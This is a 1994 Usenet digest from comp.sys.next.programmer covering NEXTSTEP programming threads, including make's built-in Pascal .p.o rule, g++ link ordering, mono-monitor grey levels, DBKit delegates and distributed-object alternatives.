Newsgroups: comp.sys.next.programmer From: Michael_Pizolato@afs.com (Michael Pizolato) Subject: Make builds .o from .h via .p Message-ID: <1994Mar30.194120.2249@afs.com> Sender: Michael_Pizolato@afs.com Date: Wed, 30 Mar 1994 19:41:20 GMT I have discovered an interesting problem concerning the NeXT-supplied makefiles in NS3.2. Here's the situation: I created a target that looks like this: $(NAME).p: $(HFILES) This target will create a precompiled header from all the header files in a project if the PRECOMPS macro is defined to "$(NAME).p". This is useful for library projects when there is a master header file that imports all the other header files in the project, and you want to precompile this master header. If PRECOMPS is not defined, this target is ignored, almost... In /NextDeveloper/Makefiles/app/common.make, there are the following macro definitions: OFILES = $(SUBPROJ_OFILES) $(CLASSES:.m=.o) $(MFILES:.m=.o) \ $(CFILES:.c=.o) $(CCFILES:.cc=.o) $(CAPCFILES:.C=.o) \ $(CXXFILES:.cxx=.o) $(CPPFILES:.cpp=.o) $(EARLY_OFILES) $(OTHERLINKEDOFILES) PRODUCT_DEPENDS = $(OFILES) $(OTHER_OFILES) $(DBMODELS) \ $(ICONHEADER) $(APPICON) $(DOCICONS) $(MAKEFILES) \ $(OTHER_PRODUCT_DEPENDS) The key here is that OFILES is created in part from the list of .m files in the project, and that PRODUCT_DEPENDS then includes this list. If you do a standard build of the default target, eventually the build winds its way to this target: $(PRODUCT): $(PRODUCT_DEPENDS) $(OTHER_PRODUCT_DEPENDS) Normally, nothing unusual happens and everything builds fine. However, we have an app project (call it Foo) where one of the classes is named the same as the project (Foo.[hm]). When I do a standard build of this project, the OFILES macro contains "Foo.o" because of the derivation from Foo.m. I would expect this to cause Foo.m to be compiled in the usual way, but that is not what happens. Instead, Foo.h is _precompiled_. This happens because there is a rule that appears when I do 'make -p' that says it is possible to build a .o file from a .p file: .p.o: $(PC) $(PFLAGS) -c $< Make is taking the .h->.p->.o route instead of .m->.o. I have no idea where the .p.o rule comes from - it is not found in any of the NeXT-supplied makefiles. Anyway, Foo.h is precompiled, and then this '$(PC)' command is executed, with the following results: pc -c Foo.p Make: Cannot load pc. Stop. *** Exit 1 Stop. Of course, the program 'pc' does not exist! I have searched for it, and it's not anywhere on my disk, nor does it appear to be documented anywhere. To summarize, I have the following: 1. Make wants to build Foo.o 2. I have the $(NAME).p target shown above 3. There is a rule to create .p from .h 4. There is a rule to create .o from .p 5. .SUFFIXES looks like this (from basicrules.make): .SUFFIXES: .o .p .C .cc .cxx .cpp .c .m .M .s .h .ym .y .lm .l .pswm \ .psw .mig .def .msg .bproj .subproj .tproj .store .copy .strip \ .installsrc .writable .clean $(BUNDLE_EXTENSION) .depend \ .lproj .dbmodel .dbmodela So make precompiles Foo.h and tries to make Foo.o from Foo.p. It is unusual for an app project to have a .m file named after the project, and this problem doesn't exist when that is not the case. For library projects, it is typical to have an inclusive .h file named after thr project, but there is not a corresponding .m file, so this problem also does not occur in that case. I have several questions: 1. Where does the .p.o rule come from? 2. Is it really possible to build an object file from a precompiled header? 3. What is the 'pc' program? 4. Shouldn't NeXT modify .SUFFIXES so that .m is used before .p when make wants to create a .o file? Is this even possible, given the sensitivity to the ordering in the current .SUFFIXES list? 5. Have I missed something? The obvious workaround is for me to rename Foo.[hm] and the class it contains, and it happens that in this case that's no big deal. But there needs to be a better solution than that. Any help here will be greatly appreciated. I'll also answer any questions, because I'm sure what I have described is not clear on some points. Thanx, Michael -- Michael_Pizolato@afs.com NeXTMail accepted Jan. 18, 2038 10:14:07 GMT
From: magnus@fisher.Stanford.EDU (Magnus Nordborg) Newsgroups: comp.sys.next.programmer Subject: Re: NS can't even compile simple C++ program (Re: c++ inline linkage bug in NSI 3.2?) Date: 31 Mar 1994 00:09:28 GMT Organization: Department of Biological Sciences, Stanford University Distribution: world Message-ID: <MAGNUS.94Mar30160928@fisher.Stanford.EDU> References: <2n9nsj$dmu@netnews.upenn.edu> <2nb69c$ib2@news.iastate.edu> <2nbbhg$klj@crl.crl.com> <2ncrqv$939@news.iastate.edu> In-reply-to: chris@iastate.edu's message of 30 Mar 1994 21:43:59 GMT In article <2ncrqv$939@news.iastate.edu> chris@iastate.edu (Chris Wong) writes: > Problem solved by using "cc++ test.C -lg++". > "cc++ -lg++ test.C" doesn't work" > > Anyone has any idea why "cc++ -lg++ test.C" doesn't work? Putting > -lg++ at the **END** does work. Yes, the reason is that you want the "-l" flag passed to "ld" (the linker). Do "man cc" for more info. You should also use ".cc" instead of ".C" when using the GNU compiler if you want to tell the compiler that you are using C++. If you are going to do a significant amount of programming in a Unix environment, I strongly recommend learning how to use "make". -Magnus -- Magnus Nordborg magnus@fisher.stanford.edu (NeXT mail welcome) Department of Biological Sciences Stanford University Stanford, CA 94305-5020 +1 (415) 723-4952 (office)
Newsgroups: comp.sys.next.programmer From: byer@mv.us.adobe.com (Scott Byer) Subject: Re: NS can't even compile simple C++ program (Re: c++ inline linkage bug in NSI 3.2?) In-Reply-To: chris@iastate.edu's message of 30 Mar 1994 21:43:59 GMT Message-ID: <BYER.94Mar30162506@embassy.mv.us.adobe.com> Sender: usenet@adobe.com (USENET NEWS) Organization: Adobe Systems Incorporated, Mountain View, CA References: <2n9nsj$dmu@netnews.upenn.edu> <2nb69c$ib2@news.iastate.edu> <2nbbhg$klj@crl.crl.com> <2ncrqv$939@news.iastate.edu> Date: Thu, 31 Mar 1994 00:25:06 GMT Chris Wong writes: Chris> Anyone has any idea why "cc++ -lg++ test.C" doesn't work? Putting Chris> -lg++ at the **END** does work. Some linkers require an unresolved reference to start with. -lg++ won't have any. test.o will, and so will pull in the required symbols/definitions from whatever else follows it on the linker line. Most loaders no longer require such careful command line ordering, but quite a few do. Circular references are why there's also the "-u" switch. -- Scott Byer NeXTMail: byer@mv.us.adobe.com Adobe Systems Incorporated These are *my* opinions, and 1585 Charleston Road, P.O. Box 7900 do not necessarily reflect Mountain View, CA 94039-7900 the opinions of my employer. === === Nothing is so firmly believed as what we least know.
From: don@darth.byu.edu (Don Yacktman) Newsgroups: comp.sys.next.programmer Subject: Re: Make builds .o from .h via .p Date: 31 Mar 1994 01:02:41 GMT Distribution: world Message-ID: <2nd7fh$odu@bones.et.byu.edu> References: <1994Mar30.194120.2249@afs.com> The simple answer, of course, is that ".p" is also the extension traditionally used by Pascal for it's source code and that "pc" is a Pascal compiler which doesn't exist in NEXTSTEP. But simple solutions are less fun. So here's the long one. Michael Pizolato writes ) I have several questions: ) ) 1. Where does the .p.o rule come from? Standard, default "make" rules. ) 2. Is it really possible to build an object file from a precompiled ) header? Not that I know of. Since it never touches the .m file to build a precomp, don't count on it. I would certianly love such a feature, though. Imagine: write your interface and the system figures out what you want and writes the code! Never needing a ".m" files again. Now if NeXT could do _that_ they'd probably sell more copies of NEXTSTEP, don't ya think? ) 3. What is the 'pc' program? (P)ascal (C)ompiler. Not provided on NeXT, sorry to say. I guess you could install p2c and create a simple "pc" script to drive it, though. That is, if you have any Pascal code to compile. :-) ) 4. Shouldn't NeXT modify .SUFFIXES so that .m is used before .p ) when make wants to create a .o file? Is this even possible, given ) the sensitivity to the ordering in the current .SUFFIXES list? I don't know on this one, and don't feel like thinking at the moment. (Running on lack of sleep right now...) But it seems feasible. If they just got rid of that crufty old "default" rule the problem would go away, though. However, you can always override the rule, and that might do the trick...just make your own .p.o rule that duplicates the m.o rule. It might work. And monkeys might... ) 5. Have I missed something? Just that good old Pascal compiler, I guess. :-) ) The obvious workaround is for me to rename Foo.[hm] and the class ) it contains, and it happens that in this case that's no big deal. ) But there needs to be a better solution than that. Yes. I'd think it would be best to get rid of the default that is used by the "make" program, since NeXT machine don't have a Pascal compiler anyway, and the ".p" extension has been effectively redefined by NeXT anyway. The ideal solution would have been for NeXT to have picked an extension that wasn't already being used. But then again, they always have liked to write their own rules... -- Later, -Don Yacktman Don_Yacktman@byu.edu
Newsgroups: comp.sys.next.programmer From: tmatous@nyx.cs.du.edu (Tony Matous) Subject: Halloween.app source Message-ID: <1994Mar31.004208.23068@mnemosyne.cs.du.edu> of Denver for the Denver community. The University has neither control over nor responsibility for the opinions of users. Keywords: help Sender: usenet@mnemosyne.cs.du.edu (netnews admin account) Organization: Nyx, Public Access Unix at U. of Denver Math/CS dept. Date: Thu, 31 Mar 94 00:42:08 GMT Does anyone know where I can get the source code for the Halloween program that can be found on archives? Thanks for any help. -TM
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: Re: NS can't even compile simple C++ program (Re: c++ inline linkage bug in NSI 3.2?) Message-ID: <1994Mar31.010056.22334@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory References: <2nb69c$ib2@news.iastate.edu> <2nbbhg$klj@crl.crl.com> <2ncrqv$939@news.iastate.edu> Date: Thu, 31 Mar 1994 01:00:56 GMT In article <2ncrqv$939@news.iastate.edu> chris@iastate.edu (Chris Wong) writes: >>In article <2nbbhg$klj@crl.crl.com>, >>Donald R. McGregor <mcgredo@crl.com> wrote: >>>In article <2nb69c$ib2@news.iastate.edu> chris@iastate.edu (Chris Wong) writes: >>>:>helser54% cc++ test.C >>>:>ld: Undefined symbols: >>>:>_cout >>> >> >>Problem solved by using "cc++ test.C -lg++". >>"cc++ -lg++ test.C" doesn't work" >> >>Anyone has any idea why "cc++ -lg++ test.C" doesn't work? Putting >>-lg++ at the **END** does work. >> Because cc++ is a shell script. % which cc++ /bin/cc++ % more /bin/cc++ cc -ObjC++ $* You're certainly welcome to change it to be "cc -ObjC++ $* -lg++" if you want... -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
Newsgroups: comp.sys.next.programmer From: ploeger@aplki.toppoint.de (Andreas Ploeger) Subject: Re: Multiple Document Syndrome Message-ID: <1994Mar30.154309.19444@aplki.toppoint.de> Sender: ploeger@aplki.toppoint.de (Andreas Ploeger) Organization: Andreas Ploeger References: <pburka.43.764957710@UPEI.CA> Date: Wed, 30 Mar 94 15:43:09 GMT In comp.sys.next.programmer article <pburka.43.764957710@UPEI.CA> wrote: > When an application with multiple documents (i.e. the Editor with > all of it's open documents) receives a message to Save from it's menu, how > can it determine which is the active document? > > I can detrmine the active window, but can't find a way to get at the object > it represents. In IB connect the 'save' menu entry to the FirstResponder object (target) and select 'save:' as the action. In your code make the object that controls the document the window's delegate. See Garfinkel & Mahoney p. 328. -------------------------------------------------------------------- Andreas Ploeger E-Mail: ploeger@tpki.toppoint.de Kiel University Phone: (49) 431 597 1757 Clinic for Pediatric Cardiology FAX: (49) 431 597 1828 Schwanenweg 20, 24105 Kiel 1, Germany *** NeXT Mail welcome *** -- -------------------------------------------------------------------- Andreas Ploeger E-Mail: ploeger@tpki.toppoint.de
From: lozinski@cup.portal.com (Christopher A Lozinski) Newsgroups: comp.sys.next.programmer Subject: Re: DO alternative on other platforms Message-ID: <107910@cup.portal.com> Date: Wed, 30 Mar 94 23:23:37 PST Organization: The Portal System (TM) Distribution: world References: <fleminmk.764905583@fe808.cc.purdue.edu> Yes there is a truely portable alternative to NEXTSTEP PDO. It is called the DOME message bus. For more information, please send me your postal address, telephone, and a brief description of your application needs. I will send you a copy of the product caltalogue entitled windows Clients for NEXTSTEP servers. Regards Christopher Lozinski Reply to : info@bpg.com
From: marcus@ee.pdx.edu (Marcus Daniels) Newsgroups: comp.sys.next.programmer Subject: Re: DO alternative on other platforms Date: 31 Mar 1994 11:00:05 GMT Message-ID: <MARCUS.94Mar31030006@tdb.ee.pdx.edu> References: <fleminmk.764905583@fe808.cc.purdue.edu> In-reply-to: fleminmk@fe808.cc.purdue.edu's message of Tue, 29 Mar 1994 01:46:23 GMT >>>>> "Mike" == Mike Fleming <fleminmk@fe808.cc.purdue.edu> writes: Mike> There doesn't Mike> seem to be an alternative to distributed objects under Mac or Mike> Windows. Mike> Or is there? Mike> Basically, what we're looking for is a package that provides Mike> programs with an easy way to communicate over the network using Mike> something that vaguely resembles object s. Are you only interested in proprietary solutions? A group at Xerox is working on a package called ILU. ILU stands for Inter Language Unification. ILU consists of a RPC kernel, `stubbers' for C, C++, Common LISP, FORTRAN, and Modula II. The interface code generated by the C stubber is even CORBA compliant. I've used ILU 1.5 on NEXTSTEP 3.2. The RPC kernel and C interface, at least, work dandy. On a sun4 with Allegro, the Common LISP front end worked for me too (I don't have a LISP on NEXTSTEP adequate for ILU). You end up with 1) a few stubber programs that convert an Modula II-ish interface specification into glue for communicating with the kernel routines 2) a library to link with. That's all there is to it! Mike> So, once again: Is there an alternative for DO's under Mac and Mike> Windows and do the packages/protocols above provide any of that Mike> functionality? I'm not looking for database connectivity stuff Mike> here, guys... With a RPC library for DOS or Windows, I think a port would be do-able. Might need to strip a few features. ILU is still alpha software, but if I'm not mistaken a beta release (1.7?) is nearing.. Around a hundred pages of documentation, as I recall. Since the topic at hand was non-NEXTSTEP platforms, the lack of an Objective-C interface shouldn't be a big deal. Besides, adding one would be a relatively small project. --- Hey, anyway, what's *bleeping* point of a DO system, unless you can make it run anywhere (e.g. have source).
Newsgroups: comp.sys.next.programmer From: henry@trilithon.com (Henry McGilton) Subject: Re: Setting scrollView scroller position from program Message-ID: <1994Mar30.194023.2353@trilithon.com> Sender: henry@trilithon.com Organization: Trilithon Software References: <2naaig$9kv@tribune.usask.ca> Date: Wed, 30 Mar 1994 19:40:23 GMT In article <2naaig$9kv@tribune.usask.ca> eric@skatter.usask.ca writes: * In my application I have a scrollview. From some other * object I want to set the position of the horizontal scroller * (as opposed to having the user click and drag the button). * I can move the scroller around by: * [[scrollView horizScroller] setFloatValue:[sender floatValue]]; * but this updates only the position of the scroller button * -- the view within the scrollview doesn't move. * What am I missing here? I am sure there is a simple way of * doing this, but I can't figure out what it is. Making a gross assumption here, based on what you wrote, that you really want the view within the scrollview to scroll to a specific position. Look at the scrollPoint method in the documentation for View. Given you have a scollview, you would normally send the scrollPoint message to the scrollview's docview. ........ Henry
Newsgroups: comp.sys.next.programmer From: jjfeiler@relief.com (John Jay Feiler) Subject: Re: Category users please read. Message-ID: <CnGG1o.9s@relief.com> Sender: jjfeiler@relief.com (John Jay Feiler) Organization: Relief Consulting & Development References: <2n6j0b$488@steffi.demon.co.uk> Date: Wed, 30 Mar 1994 01:56:11 GMT In article <2n6j0b$488@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: > I wanted to get some thoughts on this. > > Currently my categories for appkit look like this. > > Matrix.XFindCells > NXImage.XArchiving > NXImage.XWindowGrabber > Text.XConsole > > etc. > > What I'm interested in knowing is how people feel about separate > categories for the same class. > > ie. instead of repeating NXImage here as two separate categories just > have something like. > > NXImage.XExtensions > > and provide all methods thru that category. > > What is your preference? I perfer to have multiple Categories, grouped into nice little bundles of functionality. I also like to name my category files with a "+" in the name, so I would call them NXImage+XArchiving.[hm], etc. Seems to convey the idead of an addition to a class better. Just my 0.02 zorkmids John > > -- > "C++ is the best C++ there is." > > (ASCII for text only messages) -- John Feiler jjfeiler@relief.com Relief Consulting & Development (206) 743-3953 4926 152nd St. SW NeXTmail Welcome!!! Edmonds, WA 98026-4433 Independent NeXTSTEP Developer --
From: dekorte@scri.fsu.edu (Steve Dekorte) Newsgroups: comp.sys.next.programmer Subject: PSsetgray(value); value = ? for solid greys Date: 31 Mar 1994 12:53:31 GMT Organization: Florida State University Message-ID: <2neh4b$ete@mailer.fsu.edu> What are the float values for x in: PSsetgray(x); in order to get solid greys with a NeXT mono monitor? 0.00 black 0.?? dark grey 0.?? medium grey 0.?? light grey 1.00 white (.25,.5, and .75 aren't correct) Steve Dekorte
From: jacobsen@arundel.doit.wisc.edu Newsgroups: comp.sys.next.programmer Subject: gcc 2.5.8 name mangled link errors Date: 31 Mar 1994 16:03:56 GMT Organization: Division of Information Technology Message-ID: <2nes9c$5jt@news.doit.wisc.edu> Keywords: gcc 2.5.8 linker Hello. I ftp'd gcc 2.5.8 from prep.ai.mit.edu and compiled it with no problems. Unfortunately, when I link my program and have undefined symbols I get name mangled errors like: ld: Undefined symbols: _parse__FP15file_descriptorP12symbol_table _kind__18symbol_table_entry _value__18symbol_table_entry _type__18symbol_table_entry *** Exit 1 Have I neglected to install something that I should of or do I need to specify a compiler switch to get errors in the form class::method()? Thanks for any suggestions. Erik Jacobsen jacobsen@cae.wisc.edu
From: mow@marsu.tynet.sub.org (Markus Wenzel) Newsgroups: comp.sys.next.programmer Subject: Re: HELP!!! SLIP ON WHITE AT 28.8 Date: 30 Mar 1994 10:07:40 +0100 Organization: Palumbian Research Labs Message-ID: <2nbfgs$3ih@marsu.tynet.sub.org> References: <CnFrCt.LJ1@spcuna.spc.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit root@net23 (Operator) writes: >Hello all, I have been having much trouble getting 28.8 SLIP to work on White >hardware... >I am using The New transys pni slip software and every time i raise the >speed from 19200 to 38400, i start losing massive characters... Just install Mark Salyzyn's Mux driver version 1.4. It is much more reliable than the original driver and doesn't drop characters even at 57600 bps DTE rate. I tested PNI 1.7 with the Mux driver myself and did not encounter any problems. Mux driver is available by ftp on ftp.uni-stuttgart.de or cs.orst.edu. >Anyone who gives me an answer on how to fix it can have a free account >mail ANY answers to razor@net23.com -- Markus Wenzel System administration, Consulting, Networking mow@marsu.tynet.sub.org on... NeXTSTEP / Unix / Novell / Windows NT IRC: Marsu Veni, vidi, NeXTSTEPi.
Newsgroups: comp.sys.next.programmer From: gerti@tms-gmbh.de (Gerd Knops) Subject: Re: Can't get rid of DO Message-ID: <CnJCys.10F@tms-gmbh.de> Sender: usenet@tms-gmbh.de Organization: tms GmbH, Regensburg, Germany References: <CnHrJz.CyC@news.cis.umn.edu> Date: Thu, 31 Mar 1994 15:42:27 GMT In article <CnHrJz.CyC@news.cis.umn.edu> peter@corsica (Peter Eisch) writes: > I'd try writing a small program that connected to hosts on the network specifically to pinpoint > which host is the culprit. (I'm assuming that you're using: > > [munch] We did that. Found the machine. Powered that machine off. All other machines ok. [NXConnection connectToName:"whatever" onHost:"*"] still returns a (not usable) connection... Gerd (Puzzeled)
Newsgroups: comp.sys.next.programmer From: pasqua@mv.us.adobe.com Subject: Re: PSsetgray(value); value = ? for solid greys Message-ID: <1994Mar31.165441.26175@adobe.com> Sender: usenet@adobe.com (USENET NEWS) Organization: Adobe Systems Incorporated References: <2neh4b$ete@mailer.fsu.edu> Date: Thu, 31 Mar 1994 16:54:41 GMT In article <2neh4b$ete@mailer.fsu.edu> dekorte@scri.fsu.edu (Steve Dekorte) writes: > > What are the float values for x in: > > PSsetgray(x); > > in order to get solid greys with a NeXT mono monitor? > > 0.00 black > 0.?? dark grey > 0.?? medium grey > 0.?? light grey > 1.00 white > > (.25,.5, and .75 aren't correct) > > Steve Dekorte NeXT mono hardware uses a 2 bit per pixel framebuffer allowing for a total of four levels of gray. They are (from graphics.h): #define NX_WHITE (1.0) #define NX_LTGRAY (2.0/3.0) #define NX_DKGRAY (1.0/3.0) #define NX_BLACK (0.0) Joe Pasqua Adobe Systems Incorporated
Newsgroups: comp.sys.next.programmer From: dgoodman@is.rpslmc.edu (Dave Goodman) Subject: DBModule not calling its delegate methods... Message-ID: <1994Mar31.172852.17451@rpslmc.edu> Keywords: DBKit, DBModule, Delegate Sender: news@rpslmc.edu Organization: Rush-Presbyterian-St. Luke's Medical Center Date: Thu, 31 Mar 1994 17:28:52 GMT I am working with a couple of DBModules in a master-detail relationship. I have a situation where I want to tell the master module to discardChanges:, but if there have been changes made to the detail module, I get one of those attention panels from the database saying "Changes will be lost if you do this." So I'm thinking to myself "Isn't that what I just asked it to do?" To make long post short, if you tell the detail table to discard changes first, then everything works fine. I looked in Librarian and lo-and-behold I find: - (BOOL)moduleWillLoseChanges:module Beautiful I think, but there is one _small_ problem. This method never seems to get called! Any clues? -- -Dave ============================================ = David I. Goodman N[eE]XTSTEP Developer = = Single Source Systems, Inc. = = dgoodman@is.rpslmc.edu = ============================================ Disclaimer: No statements made in this article should be construed to reflect the opinions of Rush-Presbyterian-St. Luke's Medical Center or Single Source Systems. All opinions are wholly my own, and I am solely responsible for my statements.
Newsgroups: comp.sys.next.programmer From: drew@fnbc.com (Drew Davidson) Subject: Re: PSsetgray(value); value = ? for solid greys Message-ID: <1994Mar31.163329.12950@fnbc.com> Sender: news@fnbc.com Organization: First National Bank Of Chicago, Chicago IL, USA References: <2neh4b$ete@mailer.fsu.edu> Date: Thu, 31 Mar 94 16:33:29 GMT In article <2neh4b$ete@mailer.fsu.edu> dekorte@scri.fsu.edu (Steve Dekorte) writes: > > What are the float values for x in: > > PSsetgray(x); > > in order to get solid greys with a NeXT mono monitor? > > 0.00 black > 0.?? dark grey > 0.?? medium grey > 0.?? light grey > 1.00 white > > (.25,.5, and .75 aren't correct) > > Steve Dekorte from /usr/include/appkit/graphics.h: #define NX_WHITE (1.0) #define NX_LTGRAY (2.0/3.0) #define NX_DKGRAY (1.0/3.0) #define NX_BLACK (0.0) There is no medium gray. -- +--------------------------------+---------------------------------------+ | Drew Davidson - Software Guy | "When I'm a good dog they sometimes | | First National Bank of Chicago | throw me a bone..." | | drew@fnbc.com (NeXTmail) | - Pink Floyd | +--------------------------------+---------------------------------------+
From: jds@aplexus.jhuapl.edu (John D Stanhope) Newsgroups: comp.sys.next.programmer Subject: How about a visual language for NeXTSTEP? Date: 31 Mar 1994 18:28:01 GMT Organization: Johns Hopkins U. Applied Physics Lab Distribution: world Message-ID: <2nf4nh$h37@aplcomm.jhuapl.edu> Keywords: visual language, rambling I noticed groups starting developement of scripting languages for NS. But all of them are seem to be different (COWS/Tcl), which means people are going have learn new languages as well as write bindings for objective-C if they want to do any display stuff. Instead of creating a new language how about an app and an api that lets programmers design/write/connect their programs visually in a language independent way. For instance you would drag out an object that generates some sort of data, then drag out an object that applies a transform to that data and then sends it to another object that displays the output. The objects in this case could be anything, an awk/tcl script or programs. Or if people wanted the app to have a language of its own any one of the many C interpreters could be used. As long as each object was wrapped so that they all had a standard way of sending and accepting data it wouldn't matter the language used. This same app could be used to sketch out a design for applications. You could have a palette that contains basic and custon object interfaces. These objects could then be dragged out and connected together. You would then unparse the design in to whatever code you wanted. The level of detail could be made even finer by letting the used specify the method that that sends the message. And if you want to have code that will compile you could descend into the method and drag out if, while, or for blocks to create flow charts. With each level the type of code generated could be specified. If you want to use c++ all you need to do is fill out some form that tells the app what type of code should be generated for function, methods, or procedures. Or if you have a serious problem with code generators something similiar to the IB paradigm could be used. I also think this type of app would be great for creating good solid object oriented designs, as well as being a tool for reverse engineering code (heaven forbid). One of the problems I forsee for this is how to connect to and work with IB. If it was to be really integrated with IB it would have to support an IB style palette (archived objects?) that would allow a programmer to fully test and build the app without a single written line of code. On the other hand I have no idea how any of this would implemented. In the most recent PCWeek they review an app by Novell (I think) called AppBuilder that does something similiar to what I have suggested but doesn't allow the user to add new objects/blocks easily. If you have a chance check it out, I think NS could really use something along these lines. The more I think about it the more I am sure this idea is full of holes but nonetheless it would be fun to connect scripts and programs together and to create apps in a graphical manner. -- jds ------------------------------------------------------------------------------- Otto "Apes don't read philoshpy" disclaimer Wanda "Sure they do, they just don't understand it" -------------------------------------------------------------------------------
Newsgroups: comp.sys.next.programmer From: gerti@tms-gmbh.de (Gerd Knops) Subject: Re: PSsetgray(value); value = ? for solid greys Message-ID: <CnJIvv.17J@tms-gmbh.de> Sender: usenet@tms-gmbh.de Organization: tms GmbH, Regensburg, Germany References: <2neh4b$ete@mailer.fsu.edu> Date: Thu, 31 Mar 1994 17:50:18 GMT Its 2 Bit grey, so there are only 4 levels: 0.00 black 0.33 dark grey 0.67 light grey 1.00 white Gerd In article <2neh4b$ete@mailer.fsu.edu> dekorte@scri.fsu.edu (Steve Dekorte) writes: > > What are the float values for x in: > > PSsetgray(x); > > in order to get solid greys with a NeXT mono monitor? > > 0.00 black > 0.?? dark grey > 0.?? medium grey > 0.?? light grey > 1.00 white > > (.25,.5, and .75 aren't correct) > > Steve Dekorte
Newsgroups: comp.sys.next.programmer From: sxurcb@fnma.com(Rodney Blake) Subject: System Panic Message-ID: <1994Mar31.152718.15028@almserv.uucp> Sender: usenet@almserv.uucp Organization: Fannie Mae Date: Thu, 31 Mar 1994 15:27:18 GMT I do not know if somebody can help me because I can not predict the behavior when my app causes the SYSTEM PANIC. I figure if I can tell my fellow posters the nature of my application and general problems, then maybe a NeXT expert can help me. I am running on NeXTStep 3.2 Nature of app: The application uses sounds and plays the sounds through a DPSTimedEntry routine. The app is a timer to help in speed reading. There are five passes with first pass being about two seconds per page and the last pass being about thirty seconds per page. The passes can be set manually. I allocate the sounds during the beginning (appDidInit:) with the 'initFromSoundFile:' method with sound file path coming from the defaults database. In the timed entry handler, I tell self to invoke the 'playSound' method. The 'playSound' method does most of the work. I figured with the handler I just want to get in and out as quick as possible. Problems: Sometimes some of the sounds do not play, especially if the timed entry is set to 15 seconds or above. The biggest problem is the SYSTEM PANIC which happens at any time. It happens more when sounds are suppose to be played. My friend, for whom I built the app, says he gets the SYSTEM PANIC at end of the final pass when the finish sound is suppose to be played. However, the app on my machine does not have the same problem. Mine just panics periodically. I hopes this helps. I know probably not much. Thanks in advance, -- Rodney Blake [sxurcb@fnma.com (NeXT Mail Okay)] Mail Stop: 4H-4S:03 Federal National Mortgage Association (Fannie Mae) 3900 Wisconsin Ave., NW Washington, DC 20016 Phone: (202) 752-3705
From: cgeiger@netcom.com (Conrad Geiger) Newsgroups: comp.sys.next.programmer Subject: Solaris Developer Conference: April 5-7 Date: 31 Mar 1994 16:10:48 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <199403312210.OAA17353@mail.netcom.com> Hello, For those following Sun and NeXT's new relationship with Openstep: The 1994 Solaris Developer Conference, April 5-7 at the Moscone Center in San Francisco, is almost here! This year's sessions focus on the Solaris Operating System, Objects, Rightsizing, CDE, Multimedia, and Networking. Featured speakers include Scott McNealy, Ed Zander, Steve Jobs, Bud Tribble, Steve McKay and Bruce Tognazzini (Tog). Along with informative presentations, the conference offers developers hands-on experience in one of the 50 hands-on workshops being offered. This years event also coincides with SMCC's Special Event; Architecting the Enterprise for the 90's. Combining these two events are sure to make this our biggest conference yet. All attendees receive a Solaris Developer Pak, which includes Solaris for SPARC or x86, their choice of a compiler, 90 days of free support, an array of Solaris tools to help them migrate their applications to Solaris, and all of the conference proceedings. Discounts are available for groups of 3, groups of 10 or more, and Government and University employees. The price for attending the Solaris Developer Conference is $495 There are three easy ways to register: By Phone: 1-800-433-4224 801-484-6695 for outside the U.S. By FAX: 801-484-0492 By Mail: Solaris Developer Conference c/o Event Registration Services 2990 South Main Street Salt Lake City, UT 84115
Newsgroups: comp.sys.next.programmer From: Michael_Pizolato@afs.com (Michael Pizolato) Subject: Re: Make builds .o from .h via .p Message-ID: <1994Mar31.154100.2299@afs.com> Sender: Michael_Pizolato@afs.com References: <1994Mar30.194120.2249@afs.com> Date: Thu, 31 Mar 1994 15:41:00 GMT Charles Fu writes >Michael writes >>1. Where does the .p.o rule come from? > >It is built into make. You can do a 'strings make' to see it. >It is not in any makefile. As I suspected. >>2. Is it really possible to build an object file from a precompiled >> header? > >No, of course not. I thought not. >>3. What is the 'pc' program? > >pc is the Pascal compiler on many systems. '.p' is the usual >extension for Pascal files. > >>4. Shouldn't NeXT modify .SUFFIXES so that .m is used before .p >> when make wants to create a .o file? Is this even possible, >> given the sensitivity to the ordering in the current .SUFFIXES >> list? > >In my experience, trying to modify something as sensitive as >.SUFFIXES in something as complicated as the PB makefiles can be >a nightmare. Good luck if you decide to try this approach. I'll let it slide (and I'm not timid about messing with makefiles ;-). >>5. Have I missed something? > >Obviously, you have never coded in Pascal. :-) :-) Well, not on Unix, anyway. On other systems I've done more Pascal programming than I care to admit. ;-) >>The obvious workaround is for me to rename Foo.[hm] and the class >>it contains, and it happens that in this case that's no big deal. >>But there needs to be a better solution than that. > >I would definitely recommend you do this. In addition, at one >point the subproject makefiles would misbehave if files named >Foo.subproj/Foo.[hm] existed. I do not know if this problem is >still present. That is in fact the approach we're going to take. >For a more complete workaround, I would recommend that you >1) extract the default .SUFFIXES and make information (using the > '-p' flag you already know about) into a file (makefile.std > would be a standard name for such a file.); >2) delete the .p.o rule from makefile.std; >3) include makefile.std, perhaps in Makefile.preamble; >4) invoke make with the -r flag, to prevent make from using its > built-in rules. > >Haven't tested it, but it should work. That's more than I'm willing to do. I'll lose sleep over whether or not my modifications will blow up after the next upgrade (I've always been a fraidy-cat sysadmin at heart :-). Thanks to Charles and the many others who pointed out that the 'pc' program is a Pascal compiler. That alone makes the whole thing obvious. The answer is not to name classes or source files the same as projects, except in the case I mentioned, which is a library project (say, bar) having a master header file (bar.h) which is a shortcut for importing every header in the project. I had no idea that there were so many makefile hacquers out there - I thought I was one of only a few such geeks. ;-) Thanx, Michael --- Michael_Pizolato@afs.com NeXTMail accepted Jan. 18, 2038 10:14:07 GMT
